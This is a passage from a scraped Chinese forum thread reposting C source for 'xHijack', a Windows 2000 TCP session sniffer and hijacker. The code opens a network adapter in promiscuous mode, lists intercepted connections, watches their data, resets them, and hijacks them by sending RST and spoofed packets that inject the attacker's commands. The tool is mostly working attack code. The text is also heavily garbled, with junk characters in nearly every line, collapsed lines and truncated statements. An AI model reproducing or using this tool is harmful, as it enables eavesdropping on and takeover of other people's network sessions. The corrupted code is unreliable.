; T0 E3 u2 t8 k  q2 X7 b//功能:处理Ctrl+C和Ctrl+Break事件 ; p& D# M% ^0 N( I- G
//
' r2 h$ u  ?2 c& c$ oBOOL WINAPI CtrlEvent(DWORD dwCtrlType) ) s) w7 }4 S% _" C: k! g  f& T  n
{
, Y, V  C; ?, W6 G. [3 j  switch(dwCtrlType) 0 r$ v$ ^  k" ^3 e
  { " Y, x) y- M, ?0 @2 J
    case CTRL_BREAK_EVENT: " A# V3 G3 S3 u" j) f0 t' y# f
      //reset action all flag
" A2 Z2 O/ x; n      ResetActionAllFlag(); 0 I* d; L8 f$ n( Z. v- F
      break;
7 K1 d% h9 b* I6 h) z    case CTRL_C_EVENT:
0 p8 ^/ H$ I3 `- A' _% H      //terminate all thread 6 O! \( H. n7 I6 s
      TerminateThread(g_hThread[0], 0);
5 S2 S. G) [) \; E% {; N% J6 N      TerminateThread(g_hThread[1], 0); 6 d0 @  P- K6 m2 B6 S
      TerminateThread(g_hThread[2], 0);
" O! i( ~2 H/ ~* B0 ~$ J% q      TerminateThread(g_hThread[3], 0);
! @3 {3 e8 d- y) t) L; ?      break;
* d1 c( q' T! j% X7 t2 R" e1 p    default: + u) f  X- T& x& q" p
      break; ) U' W" m$ R" i2 t9 B6 N- |5 S# q( {  G
  }
, U5 b& o! c  r1 X6 a  return TRUE;
/ D% Y8 R: w6 F4 q5 B; z}
& g# l- {# v; w  a: w" t# J! `2 x! I' Q
// 0 n3 a; _& p6 M
//功能:处理用户输入 ) i, x5 y' w4 D( F" S4 S9 R
// % W, `. O4 f9 y* K( A
DWORD GetConnNum(char *szStr, DWORD dwLen, DWORD *lpCommandPos) 1 m4 v% r6 N4 _- @' [
{
% F9 S: |* z2 m+ E4 H  DWORD  i; & T" \7 a0 s9 k
  char  szBuff[16]; 4 a9 x5 Z' c, E9 [

' T- Z1 ?( B" U& ~+ w. ]  *lpCommandPos = 0; / b, L/ w$ G" \
  for(i=0; i<15, i代码比较乱 * E; l6 t% g: Q; S1 T0 A
//
& A; `5 s% o, I, R: uDWORD WINAPI InterfaceThread(LPVOID lp)
' y! H) G$ W! G{
6 X7 i% |9 C' n/ O5 B* n  char  szHelp[] =  "l\t\t<-- List all connections\n" 4 `( n5 K0 V, h
            "r x\t\t<-- Reset the number x connection\n"
) _# L! B4 r. h  E$ m# k4 T            "w x\t\t<-- Watch the number x connection\n" . O) Z9 Q6 T; D1 z: D
            "h x command\t<-- Hijack the number x connection to execute command\n" - M1 J3 W  @, C* J# c
            "[Note]\n"
) ^" T) ]6 T) H0 X. z  g/ W            "Ctrl+Break to clear all action\n"
3 M% ?0 e6 g, s. g/ o& l            "Ctrl+C to exit\n"; % }. J0 j6 v7 U' g" `7 F
  char  szPrompt[] = "\nxHijack>"; , \  \. ~) D+ Y. h% L. g1 e% G/ j2 Z
  char  szBuffer[128]; , n' C: w& H4 X
  DWORD  dwPos;
4 B& e/ b2 J; X& K; H& X  PCONNINFO  pTmp;
, D* v* M4 _" \
0 i+ Q; [( H- V  while(1) + l6 Q& T8 F' Y$ N! s% P
  { 3 e" v9 V/ P. i
    gets(szBuffer);//不考虑buffer overflow
1 [+ I3 Y3 K$ R# y; r    switch(szBuffer[0])
9 p# n5 d0 Z  W    {
2 j  L1 X; n- A9 y- {, Y      case 'l':
0 \6 \( ]" g5 [2 U9 t9 x      case 'L':
7 }/ S" H$ {1 ~; B        ListAllConnection(); 2 B$ G. e! g6 ^$ R
        break;
9 `1 h% G3 J4 Y( \: K6 L& O( n      case 'r': # y; N4 b) y, `, _3 ~( H( F
      case 'R':
# |) F* G  j% I5 M1 k3 t        if(strlen(szBuffer) >2)
( b3 J$ u* T  {" A. n) ?7 o        { 6 p9 y9 J6 X8 ^
          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
. S! [& k1 D& z2 d" Q6 m7 f9 E1 ~9 L# }          g_dwAction = ACTION_RESET;
& X  A4 p8 M* S9 s1 R2 A        } 7 [% \: x+ u) |
        else printf("%s", szHelp);   j( \! R+ R+ _; F4 J( o
        break; - z( Z4 _' Z! j" k6 v
      case 'w': . y) d% L8 i- I- f
      case 'W': " d( Q9 |2 G, y5 L
        if(strlen(szBuffer) > 2) " _$ {9 ~. Z  _* M) s' P
        { ; j4 \! ?7 c6 |+ _  q- |
          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
8 H; U& R% N3 _& Y6 A          g_dwAction = ACTION_WATCH;
2 K6 T) s+ R3 Q. S        }
- _( W* r2 o0 v9 J& {4 Y! B        else printf("%s", szHelp); ) ?. p# r- ?9 c8 H: J/ q
        break; . z% Z+ M7 @/ U4 P+ @; |5 X
      case 'h':
& G( u) k! b: f* I, G% [7 {      case 'H'://h 1 xxx
( z. |5 @2 M" k0 \. p        if(strlen(szBuffer) > 5) ' m( @, i2 o# U, C
        { 6 Z+ G6 Z2 o8 t- @6 y; V
          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos); 8 S) T6 k* K* b0 T% o1 {3 X- V
          //如果command第一个字符是'或"
0 d) |$ Z* n% A          if( (szBuffer[2+dwPos+1] == '\'') || (szBuffer[2+dwPos+1] == '\"') ) 8 X' \" |- F, w
          { " @5 D2 ]0 o3 W3 ?* f6 t2 y6 K) v
            strncpy(g_szCommand, &szBuffer[2+dwPos+1+1], sizeof(g_szCommand) - 3); - m+ t8 l; ~  l9 w
            g_szCommand[strlen(g_szCommand) - 1] = 0x0;//去掉最后一个'或" - U/ M. B- f- T) c0 c1 S
          } 5 P( t5 d1 _4 x/ l/ T% ]" i
          else strncpy(g_szCommand, &szBuffer[2+dwPos+1], sizeof(g_szCommand) - 3); , I6 I- k+ i2 V+ U$ k
          strcat(g_szCommand, "\x0D\x0A");   R9 t5 J! G/ U$ U
          g_dwAction = ACTION_HIJACK;
5 e! j- h" l3 c8 o& N' \        }
% {2 m' K# \$ P; N! A" ~/ K        else printf("%s", szHelp);
. p) C0 ^* y( h; n( E        break;
& r# f1 l6 D/ e# V3 l      default:
; g0 I: n, g, M6 ]% C6 q0 d9 H' d- v- M" }        printf("%s", szHelp); & w3 w( _2 \: z+ `2 o# M2 y
        break;
5 n; r! o  s  U; J4 C, N    }//end of switch ; E! T2 O2 [( C4 H
    //find the specify ident's struct point
' T% X: g' m4 K& `6 y    if( (g_dwCtrlConn) && (g_dwAction) ) ) z3 [7 E2 w7 H* M& Y0 L0 q
    { 7 K7 K! W1 [' _9 V6 g
      g_pCurrCtrlConn = NULL; 7 ]2 E; r; T; i8 K5 i
      pTmp = g_pConnHead; 2 a, ~8 Q, i" K! p1 l
      while(pTmp)
& P$ `4 J) G8 N      {
/ D; }9 t1 [$ ~" H        if((pTmp->ident == g_dwCtrlConn) && (pTmp->bActive) ) 5 G/ c+ u( z& O% L
        {
- X( l# |% t1 p0 N          g_pCurrCtrlConn = pTmp; , V( r; a" e: i9 Z* Q5 C
          break;
. W6 b' `2 Z- {: f) X; }5 `' A: `        }
5 v0 }  [# {0 C, r' z0 K, D        pTmp = pTmp->Next;
# w& z! v, T6 x6 Q  m# j      } / g9 D( y9 h8 n% c) @+ \
      if(!g_pCurrCtrlConn)
( j+ u8 ^" u+ E6 p' \8 l      { 4 e3 f% n# M& M6 ], ^; X
        printf("Can't find the number %d connection.\n", g_dwCtrlConn); " I8 B0 Q1 s" n, w/ t9 Z
        //reset action all flag
, o4 e: [5 A* E) v1 R4 S        ResetActionAllFlag();       5 O' S$ p  ?3 g, V( e7 ~
      } " f: Q2 W0 [/ V7 S) B& q! ?' ^
    }
; Z% D4 L* `! I' M    if(!g_dwCtrlConn) ResetActionAllFlag(); * T& c5 O  M0 ~. B/ ~; n4 l$ i
    //显示当前用户所期望的动作
+ ~- Y" B. |) K    printf("\nCurrentAction:");
" k7 W7 F* J$ J! E$ ?4 v- F2 K. Z    switch(g_dwAction)
# B! P3 T! D2 ^3 E) C9 l1 c    {
, J* {: v7 `) Q; A! e& M      case ACTION_WATCH: : J1 p$ N( D7 J- v& y9 d* o( C
        printf("ACTION_WATCH");
8 `3 w+ `/ J- J6 F+ k; y        break; + q, J6 `2 d7 r2 p
      case ACTION_RESET:
# T9 V! i2 l: E$ \        printf("ACTION_RESET"); " s/ I% Y) H! x( V
        break; ) }/ x" Y& t$ u( A
      case ACTION_HIJACK: 1 K) ^+ z# c5 e
        printf("ACTION_HIJACK"); 7 ?8 N+ U- T" c7 l+ f; N
        break;
; B* I- j. [6 Z" j6 g) E3 c9 b) }6 q      default:
1 i/ b8 {& A1 M        printf("ACTION_NONE"); 0 s9 `7 \$ d4 F% v& U
        break; 2 Q2 _5 `5 y' C' C7 H2 P
    }
$ N1 R7 a+ a# C9 O6 K4 i7 y    printf("\tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt);
6 {% P# b( E$ Q/ _: v$ h  }//enf of while
& \3 w. Z/ p! [) O% i/ |3 s& t  return 0;
$ i* O. G8 k  p0 R2 Z) B+ z}
作者: 韩冰    时间: 2004-11-21 01:46
// 7 G3 ?5 \* i4 |8 P$ y! h* Z6 s: f4 H //功能:列出当前所有连接 & b, Q: z) f& f+ B$ n% ]1 M1 b8 N% ?// ' e9 b: N( O( [7 s/ pvoid ListAllConnection() 1 ^! M% r0 F7 U1 i$ Q{ ) ]7 b; m+ Y& t7 {- e! d PCONNINFO pTmp; ; @; U$ S+ ?8 L3 E/ o, ]! O SOCKADDR_IN saDest, saSource; % y7 E( C* E3 _$ t& _6 @$ O pTmp = g_pConnHead; ) H7 i- W3 _" U- z1 E8 @) b: Q, I$ {# V while(pTmp) ( i7 L4 t& @ ]' B* }7 W/ E { 0 C) m3 ^7 j! T if(pTmp->bActive) # W ~7 \5 e1 C0 L0 m { 4 x9 m: L+ W/ q( h! t saSource.sin_addr.s_addr = pTmp->dwServerIP; 1 A& ]0 r/ ]7 |7 D saDest.sin_addr.s_addr = pTmp->dwClientIP; , ?. f% Z- e* X: T printf("(%d) %s:%d <--> ", pTmp->ident, inet_ntoa(saSource.sin_addr), . {- O0 m0 X S" `, y6 ^* N! Z ntohs(pTmp->uServerPort)); + K+ ]' `+ L! g- R+ @ printf("%s:%d\n", inet_ntoa(saDest.sin_addr), ntohs(pTmp->uClientPort)); 7 c [, W5 u R4 S; B } " T% s$ D0 k4 v9 H4 c pTmp = pTmp->Next; 2 P+ M! ~7 h% a' V } : E( O& z- H+ r( n( H} " P( z' T/ S" D- w5 D* L6 _ u; ]3 ?4 m5 S // ( {- U3 h' |3 b$ @. {& {- m //功能:初始化一些数据,取得指定网卡的MAC地址和所有IP地址 ; T1 g2 u- Z9 w, ^# P8 H4 `// ' N" {8 p+ [* e P* ULPADAPTER InitAdapter() $ x( ?+ I7 `, Z4 B { 4 A8 ]/ N7 W. b$ c. b0 Z LPADAPTER lpAdapter; : I w2 P. m: k" V1 Y0 j5 n8 H) ` static char AdapterList[Max_Num_Adapter][1024]; ) [& _" n$ _ H7 G4 o char szSelectAdapterName[512]; 7 \4 d# Y% q( Y* c& s! @( D/ w WCHAR AdapterName[2048]; # [ {* U# l8 ] WCHAR *temp,*temp1; 0 M) J4 ^1 F3 V ULONG AdapterLength = 1024; ; y& M1 A1 Y6 i) i1 | int iAdapterNum = 0; " X v9 y+ ~; L9 S int iRetCode, i; 6 R6 H- e4 z3 S. r, @9 O, k0 c int iAdapter = 0; 3 D1 U+ S. c7 P& Z. z9 c ULONG ulLen = 0; / e2 p( L+ S( V" [8 C/ F ^ DWORD dwRet; - x6 h3 n' E8 u% v q5 [! B PIP_ADAPTER_INFO pAdapterInfo = NULL, pTmp; # J& A- T% R* c PIP_ADDR_STRING pIPAddr; 6 i. a4 T9 i. B1 B3 \ ' u2 G! v: g# G5 u //Get The list of Adapter u3 W8 U! U; M9 s3 o6 @; t if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) ! k; E t0 i. f1 K. p { 3 Y" W* ?" B# x printf("Unable to retrieve the list of the adapters!\n"); 1 g1 ~$ ?4 }' f. h8 T return 0; 9 E3 q Q" f3 b& Q } 3 n9 Q2 J& o' W' ]4 N4 d5 R temp = temp1 = AdapterName; 5 H4 @7 H$ {2 z8 i i = 0; % V6 g0 I& U- Q* h8 [) w! k while ((*temp != '\0')||(*(temp-1) != '\0')) : L0 s- _* u; ^ { 5 B1 [& D) c2 H if (*temp == '\0') 5 p e9 E l% Y { 6 v9 C$ a& J& S: \2 \) x4 C memcpy(AdapterList,temp1,(temp-temp1)*2); |" U; M& N4 t7 e0 f9 Y printf("%d - %S\n", i+1, AdapterList); 0 O" V' s0 t7 ?) V5 R temp1=temp+1; 1 _" `: O1 ^6 B- s6 R. v# G5 m i++; 7 r$ y5 R' n7 ? } ) Q5 Q: a# m* E9 h5 P9 G temp++; 2 e7 c4 ~0 U' Q1 B( A } ' a+ y) p3 h, d; c/ P //choose adapter & y- ?/ k: t9 L, _. R% J" ^ while((iAdapter <= 0) || (iAdapter > i)) + j' N4 L% b @+ ]" v" b { / Z" c @/ q+ O# W6 H printf("\nPlease choose your Adapter:"); * I6 _* I, Z" Y" R8 X& _: _: t' [) z scanf("%1d", &iAdapter); # g/ F Q0 E* ]$ G; z+ w9 D } 4 i5 A& e- i! Y& Z1 x4 Z6 Z, P printf("\n"); : t+ j# l( @! E( F) k% f. G //---------------------------------------------// O* j8 K% c' `% g" S //这里调用iphlpapi来取得本地ip_addr和mac_addr - M% X+ H+ s b sprintf(szSelectAdapterName, "%S", AdapterList[iAdapter -1], sizeof(szSelectAdapterName)-1); $ h9 G; J+ h: z, K: Y dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); ; m# A% @) S4 g4 P! [5 B- n: a/ l if(dwRet != ERROR_BUFFER_OVERFLOW) 6 j. t4 F6 l& t- `$ h: | { # R! w3 j' \* d3 O printf("GetAdapterInfo error:%d\n", GetLastError()); 1 [; w6 h: c. n* N return 0; 1 ^$ A; {) e r' K } 5 t, U8 O) z0 Z8 a; ~% y, _2 d pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen); 7 e$ |9 U& f8 S2 X7 v6 z j if(!pAdapterInfo) 2 h5 {1 `( K2 e! n* r7 A3 [ { . b, R9 Y+ Q6 e! L- H3 [- x, r printf("malloc memory for pAdapterInfo error:%d\n", GetLastError()); 9 }# v( e9 {) b, i2 ?# a' T% o return 0; # M' a3 k4 u; h2 F } * \/ [5 j( e# N ^( }) D; e9 J dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); 0 L" j" @5 G& }( b# a if(dwRet != ERROR_SUCCESS) / ^' h- g( G% V1 `( C" @9 V: V. V { 3 g% z* k, K4 T1 M9 j( G) m2 \6 r7 @ printf("GetAdapterInfo error:%d\n", GetLastError()); 7 l; g% O9 n$ Y( }1 Z$ i6 L return 0; ! k! y" y+ w8 a } 0 c7 P( ]# q+ M, q$ { pTmp = pAdapterInfo; ' ~7 H2 C' Q: C6 A while(pTmp) 3 n" v0 G, W2 o0 w- ^ { 6 a A, Q1 M z( V! ` //字符匹配
作者: 韩冰    时间: 2004-11-21 01:46
if(strstr(szSelectAdapterName, pTmp->AdapterName)) ! g. N' [/ v% N3 h& n3 T: R { % v$ i+ j! H; e //found it,get own adapter mac address ' ~/ W1 ]$ ~* R/ N# d2 J memcpy(g_szOwnMAC, pTmp->Address, 6); & Q* ?) n- ]5 ] //get ip address $ b2 B2 g! l$ V- T# O pIPAddr = &pTmp->IpAddressList; $ ^; B% C+ R6 ^% ^& Y# O while(pIPAddr) & w+ O" s& ]7 i4 t8 L2 H { 4 M' K" `3 t* F! Y; z g_OwnIP[g_TotalIP++] = inet_addr((char *)&pIPAddr->IpAddress); 5 a7 F1 g5 s) l& A- [4 f, n& { pIPAddr = pIPAddr->Next; * Z; Z0 a% E$ |4 ?+ j if(g_TotalIP >= Max_Num_IPAddr) break; 1 ]% I: j h3 K- q; E! k } 1 x% ^+ ~3 s9 c9 B: R break; : d% n& N7 X. v+ `% g } 0 Y, r. O" D7 n! |* e6 h pTmp = pTmp->Next; ) Z. }8 [# w5 N" i9 R } 5 Q, k" I3 D; {, E Q' U free(pAdapterInfo); 9 B$ q& v. d" |- @: D; D2 u0 { //not found,return zero 4 b6 N- j$ ]% H- s6 C6 C if( (!pTmp) || (!g_TotalIP) ) return 0; 5 z" K3 g3 O/ j$ r: M" l6 f //---------------------------------------------// - l' t( z9 N5 ^2 G //open adapter 2 B8 l, V5 f; c1 |- J% H lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[iAdapter - 1]); $ Q+ {4 A+ c8 l. q+ c if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) 8 ^5 P7 \% L# f+ x/ m9 c& d1 Q { # x. {$ ]( N; y' B @3 k, m; R$ @2 l! o iRetCode = GetLastError(); ( L7 @& }& }9 }% p6 I9 f printf("Unable to open the driver, Error Code : %lx\n", iRetCode); 1 |4 @: \, v- z' q) ` return 0; . J9 e" r8 A8 p. \ } 3 m* [' c4 c( \% [7 E // set the network adapter in promiscuous mod 8 O8 x) C8 |! | u: J4 f if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) M7 o# ]5 C E( X/ f6 p# w* J' ? { / v/ J" @- X. F* M printf("Warning: unable to set promiscuous mode!Try set ALL_LOCAL mode!\n"); 5 n7 l8 D2 m; L, r if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE) ( n9 D3 e9 |( ~0 @ { $ c& w# c# u3 ~ K4 Z1 P printf("Unable to set ALL_LOCAL mode!\n"); 8 N: ]& p: z }1 w- v9 i/ S return 0; 4 {) F: a' H: X& U: S } 3 p6 G2 A( x3 N S$ B. T } ! d) M1 ^. n& I3 @4 `+ ? // set a 512K buffer in the driver 0 D" w. H: _6 Y, ^9 @ t2 G' z4 i" ? if(PacketSetBuff(lpAdapter, 512000) == FALSE) $ [' t' k6 y) b- j" R! O R9 }. u { 0 k' f0 K. k+ l" f" | printf("Unable to set the kernel buffer!\n"); % m" ~8 p7 l; v6 H: { return 0; + ^9 Z. E; _+ C& O6 D% g8 Q } ( l0 v8 _6 ?+ ~( r4 p // set a 1 second read timeout 2 G1 B' y0 A5 v" r! b) Y3 { if(PacketSetReadTimeout(lpAdapter, 1000) == FALSE) 3 s) \( z$ j0 z% R printf("Warning: unable to set the read tiemout!\n"); 1 H* E7 ^- ]' j2 Y( ^; I if(PacketSetNumWrites(lpAdapter, 1) == FALSE) 7 E8 Z0 X" \. A" L1 ] printf("warning: Unable to send more than one packet in a single write!\n"); 1 @5 G, B2 l* w) h //设置发送的packet - f9 f' @: y$ E& H g_lpSendPacket = PacketAllocatePacket(); 3 G3 o; Y/ n! L% q1 I& e7 M if(g_lpSendPacket == NULL) ) z `9 B8 E$ @( T { 4 w, {" t' b" P( a8 l printf("Error:failed to allocate the LPPACKET structure for send packet.\n"); 0 j) [8 A' b9 i+ T6 F/ b/ i0 x return 0; & U; Q7 D% l+ `5 L$ V } 1 [# j: E' y7 y" O" B) @ ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf)); 6 x( c; o$ P7 r2 a8 i9 i# R PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1514); . J8 l/ I G6 A# q: `& _ return lpAdapter; & B- I7 z" g* x, P } . l/ w! S. t: B# \$ o: }- O, \0 h9 D9 }4 r: r //功能:帮助信息 ' o# T# }' F! c" b7 n0 y void usage() 2 y0 a i5 d: e+ g( t{ ) a+ r, t1 e5 i& p printf( "xHijack v1.0 -- multipurpose connection intruder / sniffer for windows 2000\n" 7 i9 X6 `% X( l5 x) ]! P7 [ "By eyas 2002/8/19\n" $ P' v9 W. W% t% X "http://www.ey4s.org\n" 9 R ]* q( p* J- S, c "Thanks to Refd0m and shotgun\n\n" ; b- q% c& [2 q/ O/ v "Usage: xHijack ServerSide ClientSide\n\n"); + s0 ~, I& S: J' ~0 s* r: k2 H7 c } . F' ^. y: L. [, l+ i/ t9 j 9 h7 S7 J9 T; |5 e7 ^3 y// , G8 k# p4 E' a `2 |; H! r//功能:显示数据包的一些详细信息 ( d8 c% Q5 ?. R- o // / ?8 D+ u! g3 i# r$ c VOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail) & V9 ~/ W0 y9 M { 3 P* p+ K6 @' T) ^ ]# E* ~1 f SOCKADDR_IN saDest, saSrc; ; o$ ?; B& y( R& n; N2 y unsigned char FlagMask; Q0 ]3 D) B6 ^8 z6 R/ k. @# \0 Q2 @ int i; 0 N" L2 N) {) m; ~6 R% G; K- y6 T. g. m; f A3 y, f saDest.sin_addr.s_addr = pTCPPacket->iphdr.destIP; s% N$ L8 d* f* I saSrc.sin_addr.s_addr = pTCPPacket->iphdr.sourceIP; 0 n: g/ p( I5 ^% A3 T printf("\n%-15s:%-5d -> ", inet_ntoa(saSrc.sin_addr), ntohs(pTCPPacket->tcphdr.th_sport)); 6 H" O, l$ l* ^ printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest.sin_addr), ) i( _. z4 E! \ ntohs(pTCPPacket->tcphdr.th_dport), usDataLen); 1 G- i. C1 E- @3 s //display TCP flag 7 ~( D/ L4 }6 G6 }; O- n for( i=0, FlagMask=1; i<6; i++, FlagMask <<= 1) 1 x; T1 A# p! A [, Z { 1 R9 I8 d) ~) T5 x. | if((pTCPPacket->tcphdr.th_flag) & FlagMask) 0 N" O5 Q% u# I) w- O5 F4 K) Z printf("%c", g_szTcpFlag); # R; H# `" ]0 h% n+ N Z else printf("-"); # h. Q- R* G# [0 i } 3 H+ _" I L7 x2 `2 J3 f printf("\n"); 6 I8 v4 h0 y i7 O. i6 r& V9 [- ]! i //如有需要,可显示更多详细的信息 + R0 u/ q8 z) G5 n; m! g; J6 Z if(bDetail) 6 L4 l- J: d" x! ]5 k6 K printf("SEQ=%.8X ACK=%.8X\n",ntohl(pTCPPacket->tcphdr.th_seq), ntohl(pTCPPacket->tcphdr.th_ack)); ! d: d. b! c! F4 `! [* u. i' W} * b N; {+ V Y2 \0 s 6 H* s% n& }* B& K( r// # ~2 `3 W _% G1 k//功能:处理收到的数据包(只分析本不属于自己的包),然后根据用户输入,完成各种功能 + U( H, r1 ~6 L& k4 n& M // 2 L/ A' C8 q% H- ~ d DWORD WINAPI AnalysePacketsThread(LPVOID lp) & N2 E; a# D. X( k7 Z' O7 w{ * [* ]1 C/ @! E0 w1 }8 r' q# D ULONG ulBytesReceived; : w) ?- j' [# h B% k USHORT usDataLen; 8 x( j# p4 v7 j# i& x //USHORT usIPHeadLen, usTCPHeadLen; 7 K, l+ P5 f; _' H6 L% ?- g( { char *buf; ' W3 M! W' p% t+ b$ n4 ~# @ u_int off, i; 2 z/ ]% k* \5 } PTCPPACKET pTCPPacket; 9 m0 _% z G! F2 Q% `9 x struct bpf_hdr *hdr; ! H/ c# \- Z, ~, G, b' i- S LPPACKET lpRecvPacket; # W7 B" N$ F ~) i# ^* P7 i char szPacketBuf[256000], *pStr; 9 G, O' r! s( y+ S& j. }" X BOOL bDeleteNode, bAddNew; + }+ X3 }% O8 z DWORD ident;//当前所处理的数据包,所属的连接的唯一标识 : a1 Y& Y0 C/ S" | BOOL bClientToServer;//数据包是否从客户端发送到服务器端 T+ O; J* M! }. X0 y, ^ ( L# Z/ d2 n4 P& Q //设置接收的packet ' n; i1 x! V! C3 q' G0 j lpRecvPacket = PacketAllocatePacket(); ]7 L: O7 R( B% I) E0 \ if(lpRecvPacket == NULL) . p( Q! B/ z/ w: c+ a! B& e { 3 J- D/ i4 \/ z; M* W) | printf("Error:failed to allocate the LPPACKET structure for recv.\n"); 9 C; I9 w9 M E) B* B, [5 k0 u return 0; : a* J, v) q& @0 r3 T1 J) A } + ]" S+ t* Y9 j. i) j$ t ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); - }* ]( t( o3 }5 G PacketInitPacket(lpRecvPacket, szPacketBuf, 256000); : x) y& G; {3 K/ d while(1) ( Z- K, B/ D& \$ n { / m) d% |' ~) h6 Z' P& c // capture the packets : g6 B6 Z1 Y( Y- [ if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE) ' g! W- q8 q `, E2 N: W { , m' G, U- W% d8 R( l& x1 J2 c printf("Error: PacketReceivePacket failed.\n"); , W3 ^- N V# `0 v break; 3 I1 v: r1 q" G0 i, u. I; Z } " |6 B! h# W( r ulBytesReceived = lpRecvPacket->ulBytesReceived; 9 j j: q0 a) m$ p1 B" I, Z- b buf = lpRecvPacket->Buffer; " ] @! o4 G [: A7 f# `9 R. q off = 0; 1 m) x6 W3 H5 s" U while(off < ulBytesReceived) / [5 ]- a( j, e5 ]. K* M { & Z h" S7 U, z4 K$ T D$ ]% [ hdr = (struct bpf_hdr *)(buf + off); / g: K2 g4 s: y" {7 c% I7 ` X off += hdr->bh_hdrlen; ' c) e$ I" E& z pTCPPacket = (PTCPPACKET)(buf + off); 2 E- w. D; V% ^( c; _* o off = Packet_WORDALIGN(off + hdr->bh_caplen); 8 `4 ~, N4 U0 Q //不需要处理自己发出的包(转发或本机发送的) 1 c* I8 h+ D, f/ {$ e2 j9 p7 c if(memcmp(pTCPPacket->ehhdr.SourceMAC, g_szOwnMAC, 6) == 0) continue; 5 {4 n" C5 M4 s1 k1 i" b //检查是否IP包 6 ^; k9 M+ r0 s. Q6 ?5 { if(pTCPPacket->ehhdr.EthernetType != htons(EPT_IP)) continue; : A: y# ?7 b/ }- D //检查是否TCP包 : w1 v' H& D2 [; l! Z) V! f if(pTCPPacket->iphdr.proto != IPPROTO_TCP) continue; 8 o" R1 _& i+ b# T; J: ~& K //也不处理DestIP是自己的包 7 b4 t4 x* m: c5 y for(i=0; i
作者: 韩冰    时间: 2004-11-21 01:47
pTCPPacket-&gt;iphdr.sourceIP, pTCPPacket-&gt;tcphdr.th_sport, TRUE, FALSE);
3 L" n/ F* i+ o$ S$ R            //reset action flag 8 K! h# o) X8 {
            ResetActionAllFlag();
! E. q7 x1 v5 ~& i4 j7 T          }
  ~% P' \3 M: P6 v          //start hijack
! X- W# u: t% \" [. p3 \: d: D3 W          else if(g_dwAction == ACTION_HIJACK) . ~; v. i1 q& J4 b; \( ?7 Y% U
          {
0 `4 r1 S  J5 R' A9 k- Z4 ^, |            //send rst packet to client * v" `4 U# T: K* P9 L
            SendRstPacket(pTCPPacket-&gt;tcphdr.th_ack, pTCPPacket-&gt;tcphdr.th_seq); # [8 o9 ~  E/ g  K7 T; f1 V
            //send hijack packet to client
4 Y. d! i4 b( ]            SendHiJackPacket(pTCPPacket);
; i. a# I3 T8 f* v! a$ k) [            //reset action flag % g4 \7 D0 v6 O6 F( X8 n5 Z
            ResetActionAllFlag(); 9 \8 l% c. a# L/ L7 o1 C( s
          }
4 P8 H6 D' B( ?; V8 v4 B6 C( L        }
' x: p/ A. Q' f2 b& E* k" ^; ?/ c        //show the tcp data 4 ]4 p: V  N; I+ u7 g
        if( (g_dwAction == ACTION_WATCH) &amp;&amp; (usDataLen) ) $ p( l5 g9 F( p' \
        { - E1 P3 H: ^) @' ]5 `
          ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE); # g$ A3 u  O. U% g" ~& ?
          //暂不考虑IP、TCP头不是20字节的情况
8 E  v: V; Z/ _& q          //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen; $ h: z3 x' u; }$ F; @; D
          pStr = (char *)pTCPPacket + 54;
9 s: C; Q1 k! ?: z( U* V9 e1 X          for(i=0; i        } $ [$ L+ \& W( }0 {' {
      }
4 K" p0 e8 g( Q9 ~9 w4 y0 Z/ K      //debug output
( y! [' Q, s, m7 y0 |' x; c, {      //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE);
6 Y! ]- U5 m6 I5 l; p: o    }//end of analyse packets while # H3 I! d0 Y: Z# ^, D
  }//end of recv packets while
; ]: G* T1 d" p6 x2 a  PacketFreePacket(lpRecvPacket);
6 F# f, z1 ]+ Q  return 0;
+ _$ j' B5 |; e- H' K5 e2 O! A' [3 f} " J; W4 ]1 r) Q
) k" m1 r! x% R+ v0 k

6 @( F6 y0 A" t// $ {( O' e7 O6 P0 _
//功能:操作记录所有连接信息的单向链表
! {) Z% p9 x3 D4 z2 x4 @// 9 `/ \3 Q& g' j
DWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP, 3 G. h# U$ \  Q. s: x
            USHORT uClientPort, BOOL bDelete, BOOL bAddNew) % ~3 M  Z7 J  D$ V& e
{
- G* h* g0 i) X* v1 @/ O  PCONNINFO  pNew, pTmp; 5 a, ~2 h2 ]6 [4 d
/ ?* Y1 R' |# U8 I
  pTmp = g_pConnHead;
2 ?; Y. j( u* z, g% [' E) @  while(pTmp)
- c' n! F& L2 U% L6 V  {
5 m- y6 u5 ]- Q! @( `& Q/ M    if(pTmp-&gt;bActive) $ A1 h) ~' W/ L* ^  U! b
    { 4 b% H, W# q- x+ n5 o
      //found it
! i! c$ ]' P4 ?; X  J) k      if( (pTmp-&gt;dwServerIP == dwServerIP) &amp;&amp; 9 I3 C: m5 n" S- T6 O! O3 ^8 `8 y  A
        (pTmp-&gt;uServerPort == uServerPort) &amp;&amp;
  h6 g: U- {' @4 `; A+ w& u( G0 p, X- x        (pTmp-&gt;dwClientIP == dwClientIP) &amp;&amp;
5 B' p5 m0 P6 D1 h        (pTmp-&gt;uClientPort == uClientPort) )
% l7 n5 F% Q- h. F: S      { & p* S4 f* t, L: i6 A7 W
        if(bDelete) ) C0 }3 k- ~5 _- O
